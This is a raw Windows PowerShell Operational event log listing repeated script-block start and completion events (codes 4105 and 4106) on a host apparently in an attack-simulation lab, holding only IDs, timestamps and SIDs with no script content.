Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049714
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049713
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049712
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049711
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049710
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049709
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049708
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049707
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049706
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049705
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049704
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049703
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049702
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049701
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049700
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049699
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049698
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049697
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049696
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049695
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049694
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049693
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049692
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049691
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049690
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049689
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049688
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049687
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049686
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049685
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049684
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049683
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049682
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049681
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049680
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049679
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049678
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049677
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049676
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049675
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049674
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049673
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049672
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049671
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049670
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049669
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049668
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049667
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049666
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049665
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049664
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049663
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049662
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
